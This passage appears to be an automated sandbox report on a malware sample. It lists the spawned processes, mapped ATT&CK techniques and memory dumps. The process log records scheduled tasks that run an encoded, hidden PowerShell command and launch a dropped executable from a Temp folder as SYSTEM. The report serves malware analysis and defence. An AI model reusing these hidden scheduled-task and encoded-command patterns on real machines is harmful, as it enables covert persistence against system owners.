    schtasks /CREATE /TN "gseCNnXOK" /SC once /ST 08:06:27 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:4656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gseCNnXOK"
    3⤵
    PID:3596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gseCNnXOK"
    3⤵
    PID:1784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "bnkqNuphAZeBTHhYMc" /SC once /ST 20:29:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\WOJEBgcpJeoAyOioJ\wwLMGvKHJFdcKei\dsicpHq.exe\" j1 /site_id 525403 /S" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:4468

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 2792 -ip 2792
1⤵
PID:4708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3260 -ip 3260
1⤵
PID:4676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2936 -ip 2936
1⤵
PID:4648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 732 -ip 732
1⤵
PID:4628

C:\Users\Admin\AppData\Local\Temp\is-HNJPN.tmp\_HKgHvLMFwfEgXKmIbasSoKd.tmp
"C:\Users\Admin\AppData\Local\Temp\is-HNJPN.tmp\_HKgHvLMFwfEgXKmIbasSoKd.tmp" /SL5="$10200,140559,56832,C:\Users\Admin\Pictures\Adobe Films\_HKgHvLMFwfEgXKmIbasSoKd.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4328
- C:\Users\Admin\AppData\Local\Temp\is-TEML2.tmp\MSekni.exe
  "C:\Users\Admin\AppData\Local\Temp\is-TEML2.tmp\MSekni.exe" /S /UID=91
  2⤵
  PID:4928
- - C:\Windows\system32\fondue.exe
    "C:\Windows\system32\fondue.exe" /enable-feature:NetFx3 /caller-name:mscoreei.dll
    3⤵
    PID:4968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1360 -ip 1360
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:4228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 2792 -ip 2792
1⤵
PID:4856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 3260 -ip 3260
1⤵
PID:4824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 732 -ip 732
1⤵
PID:4424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 2936 -ip 2936
1⤵
PID:1668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 1180 -ip 1180
1⤵
PID:3172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2272 -ip 2272
1⤵
PID:3764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2272 -ip 2272
1⤵
PID:3976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 2272 -ip 2272
1⤵
PID:3576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3372 -ip 3372
1⤵
PID:2320

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:4544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 2272 -ip 2272
1⤵
PID:4708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2272 -ip 2272
1⤵
PID:5000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 2272 -ip 2272
1⤵
PID:3524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2272 -ip 2272
1⤵
PID:3960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 2272 -ip 2272
1⤵
PID:2696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 2272 -ip 2272
1⤵
PID:3164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4480 -ip 4480
1⤵
PID:3944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 4480 -ip 4480
1⤵
PID:5024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 4480 -ip 4480
1⤵
PID:800

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/732-190-0x00000000026F0000-0x0000000002750000-memory.dmp

Download

memory/1132-251-0x00000000758E0000-0x0000000075AF5000-memory.dmp

Download

memory/1132-279-0x0000000075BE0000-0x0000000076193000-memory.dmp

Download

memory/1132-239-0x0000000000F60000-0x0000000000FA6000-memory.dmp

Download

memory/1132-237-0x0000000000F00000-0x0000000000F01000-memory.dmp

Download

memory/1132-264-0x0000000000040000-0x00000000001A7000-memory.dmp

Download

memory/1132-270-0x0000000000040000-0x00000000001A7000-memory.dmp

Download

memory/1132-274-0x0000000070890000-0x0000000070919000-memory.dmp

Download

memory/1132-290-0x0000000005630000-0x0000000005631000-memory.dmp

Download

memory/1132-263-0x0000000071DEE000-0x0000000071DEF000-memory.dmp

Download

memory/1180-158-0x00000000006F0000-0x0000000000750000-memory.dmp

Download

memory/1360-216-0x00000000026A0000-0x00000000026FF000-memory.dmp

Download

memory/1360-221-0x0000000003980000-0x0000000003981000-memory.dmp

Download

memory/1360-224-0x0000000002CC0000-0x0000000002CC1000-memory.dmp

Download

memory/1360-286-0x0000000002C80000-0x0000000002C81000-memory.dmp

Download

memory/1360-381-0x0000000003B00000-0x0000000003B2F000-memory.dmp

Download

memory/1360-295-0x0000000002C90000-0x0000000002C91000-memory.dmp

Download

memory/1360-293-0x0000000002C70000-0x0000000002C71000-memory.dmp

Download

memory/1360-296-0x0000000002CA0000-0x0000000002CA1000-memory.dmp

Download

memory/1360-298-0x0000000002CE0000-0x0000000002CE1000-memory.dmp

Download

memory/1360-297-0x0000000002CB0000-0x0000000002CB1000-memory.dmp

Download

memory/1444-265-0x00000000758E0000-0x0000000075AF5000-memory.dmp

Download

memory/1444-288-0x0000000070890000-0x0000000070919000-memory.dmp

Download

memory/1444-278-0x0000000000040000-0x00000000001A7000-memory.dmp

Download

memory/1444-283-0x0000000000040000-0x00000000001A7000-memory.dmp

Download

memory/1444-282-0x0000000000042000-0x0000000000046000-memory.dmp

Download

memory/1444-246-0x00000000025B0000-0x00000000025B1000-memory.dmp

Download

memory/1444-277-0x0000000071DEE000-0x0000000071DEF000-memory.dmp

Download

memory/1744-130-0x0000000004570000-0x000000000472D000-memory.dmp

Download

memory/1808-266-0x0000000000E10000-0x0000000000FA3000-memory.dmp

Download

memory/1808-284-0x0000000075BE0000-0x0000000076193000-memory.dmp

Download

memory/1808-271-0x0000000000E10000-0x0000000000FA3000-memory.dmp

Download

memory/1808-238-0x0000000000E10000-0x0000000000FA3000-memory.dmp

Download

memory/1808-260-0x00000000758E0000-0x0000000075AF5000-memory.dmp

Download

memory/1808-241-0x0000000000980000-0x0000000000981000-memory.dmp

Download

memory/1808-275-0x0000000070890000-0x0000000070919000-memory.dmp

Download

memory/1808-307-0x000000006BA40000-0x000000006BA8C000-memory.dmp

Download

memory/2580-423-0x0000000001110000-0x0000000001111000-memory.dmp

Download

memory/2580-422-0x0000000000090000-0x0000000000223000-memory.dmp

Download

memory/2792-199-0x00000000026E0000-0x0000000002740000-memory.dmp

Download

memory/2936-193-0x00000000026E0000-0x0000000002740000-memory.dmp

Download

memory/3212-258-0x00000000023A0000-0x0000000002436000-memory.dmp

Download

memory/3212-242-0x00000000021F0000-0x0000000002261000-memory.dmp

Download

memory/3260-194-0x0000000000E90000-0x0000000000EF0000-memory.dmp

Download

memory/3372-226-0x0000000004C80000-0x0000000005224000-memory.dmp

Download

memory/3372-219-0x0000000000400000-0x000000000043C000-memory.dmp

Download

memory/3452-420-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/3508-201-0x0000000005120000-0x000000000522A000-memory.dmp

Download

memory/3508-292-0x00000000054C0000-0x0000000005526000-memory.dmp

Download

memory/3508-167-0x00000000758E0000-0x0000000075AF5000-memory.dmp

Download

memory/3508-174-0x00000000008C0000-0x0000000000AF1000-memory.dmp

Download

memory/3508-176-0x0000000071DEE000-0x0000000071DEF000-memory.dmp

Download

memory/3508-169-0x00000000008A0000-0x00000000008A1000-memory.dmp

Download

memory/3508-202-0x0000000005050000-0x000000000508C000-memory.dmp

Download

memory/3508-189-0x0000000075BE0000-0x0000000076193000-memory.dmp

Download

memory/3508-162-0x00000000003E0000-0x00000000003E1000-memory.dmp

Download

memory/3508-204-0x0000000004F50000-0x0000000004F51000-memory.dmp

Download

memory/3508-200-0x0000000004FF0000-0x0000000005002000-memory.dmp

Download

memory/3508-197-0x0000000005580000-0x0000000005B98000-memory.dmp

Download

memory/3508-177-0x0000000070890000-0x0000000070919000-memory.dmp

Download

memory/3508-287-0x0000000005BA0000-0x0000000005C32000-memory.dmp

Download

memory/3508-168-0x00000000008C2000-0x00000000008F8000-memory.dmp

Download

memory/3508-207-0x000000006BA40000-0x000000006BA8C000-memory.dmp

Download

memory/3508-165-0x00000000008C2000-0x00000000008F8000-memory.dmp

Download

memory/3508-157-0x00000000008C0000-0x0000000000AF1000-memory.dmp

Download

memory/3508-164-0x0000000002570000-0x00000000025B6000-memory.dmp

Download

memory/3852-229-0x00000000016B0000-0x00000000016B1000-memory.dmp

Download

memory/3852-281-0x0000000075BE0000-0x0000000076193000-memory.dmp

Download

memory/3852-230-0x0000000000E12000-0x0000000000E47000-memory.dmp

Download

memory/3852-309-0x000000006BA40000-0x000000006BA8C000-memory.dmp

Download

memory/3852-256-0x0000000000E10000-0x0000000000FA3000-memory.dmp

Download

memory/3852-262-0x0000000000E10000-0x0000000000FA3000-memory.dmp

Download

memory/3852-268-0x0000000070890000-0x0000000070919000-memory.dmp

Download

memory/3852-225-0x0000000000E10000-0x0000000000FA3000-memory.dmp

Download

memory/3852-248-0x00000000758E0000-0x0000000075AF5000-memory.dmp

Download

memory/4120-245-0x0000020CBE0B0000-0x0000020CBE0B6000-memory.dmp

Download

memory/4120-269-0x0000020CBE5F0000-0x0000020CBE5F2000-memory.dmp

Download

memory/4132-244-0x0000000000E10000-0x0000000000FA3000-memory.dmp

Download

memory/4132-254-0x0000000000DA0000-0x0000000000DA1000-memory.dmp

Download

memory/4132-280-0x0000000000E10000-0x0000000000FA3000-memory.dmp

Download

memory/4132-311-0x000000006BA40000-0x000000006BA8C000-memory.dmp

Download

memory/4132-249-0x0000000000E12000-0x0000000000E47000-memory.dmp

Download

memory/4132-273-0x0000000000E12000-0x0000000000E47000-memory.dmp

Download

memory/4132-285-0x0000000000E10000-0x0000000000FA3000-memory.dmp

Download

memory/4132-272-0x00000000758E0000-0x0000000075AF5000-memory.dmp

Download

memory/4132-294-0x0000000075BE0000-0x0000000076193000-memory.dmp

Download

memory/4132-289-0x0000000070890000-0x0000000070919000-memory.dmp

Download

memory/4172-161-0x0000000000401000-0x000000000040B000-memory.dmp

Download

memory/4172-160-0x0000000000400000-0x0000000000414000-memory.dmp

Download

memory/4240-421-0x0000000000400000-0x00000000009A0000-memory.dmp

Download

memory/4240-424-0x0000000000400000-0x00000000009A0000-memory.dmp

Download

memory/4320-192-0x000000001BAA0000-0x000000001BAA2000-memory.dmp

Download

memory/4320-196-0x0000000002D80000-0x0000000002DD0000-memory.dmp

Download

memory/4320-173-0x00007FF90C7F3000-0x00007FF90C7F5000-memory.dmp

Download

memory/4320-175-0x0000000000D70000-0x0000000000DB4000-memory.dmp

Download

memory/4328-195-0x00000000020F0000-0x00000000020F1000-memory.dmp

Download

memory/4408-181-0x0000000000450000-0x000000000046E000-memory.dmp

Download

memory/4408-188-0x0000000071DEE000-0x0000000071DEF000-memory.dmp

Download

memory/4664-259-0x0000000004CA0000-0x000000002F702000-memory.dmp

Download

memory/4700-398-0x0000000000400000-0x0000000000414000-memory.dmp

Download

memory/4716-267-0x0000000070890000-0x0000000070919000-memory.dmp

Download

memory/4716-228-0x0000000000E10000-0x0000000000FA3000-memory.dmp

Download

memory/4716-247-0x00000000758E0000-0x0000000075AF5000-memory.dmp

Download

memory/4716-255-0x0000000000E10000-0x0000000000FA3000-memory.dmp

Download

memory/4716-261-0x0000000000E10000-0x0000000000FA3000-memory.dmp

Download

memory/4716-308-0x000000006BA40000-0x000000006BA8C000-memory.dmp

Download

memory/4716-234-0x00000000015C0000-0x00000000015C1000-memory.dmp

Download

memory/4716-276-0x0000000075BE0000-0x0000000076193000-memory.dmp

Download

memory/4728-210-0x0000000077124000-0x0000000077126000-memory.dmp

Download

memory/4728-211-0x00000000008C0000-0x0000000000C83000-memory.dmp

Download

memory/4728-215-0x00000000008C0000-0x0000000000C83000-memory.dmp

Download

memory/4844-240-0x0000000000400000-0x0000000000893000-memory.dmp

Download

memory/4844-291-0x0000000000B2C000-0x0000000000B7C000-memory.dmp

Download

memory/4844-299-0x0000000000400000-0x0000000000893000-memory.dmp

Download

memory/4844-257-0x0000000000400000-0x0000000000893000-memory.dmp

Download

memory/4880-418-0x0000000000DD0000-0x00000000011A4000-memory.dmp

Download

memory/4880-419-0x0000000000DD0000-0x00000000011A4000-memory.dmp

Download

memory/4988-212-0x0000000010000000-0x00000000105C0000-memory.dmp

Download

memory/5016-412-0x0000000000400000-0x00000000004CC000-memory.dmp

Download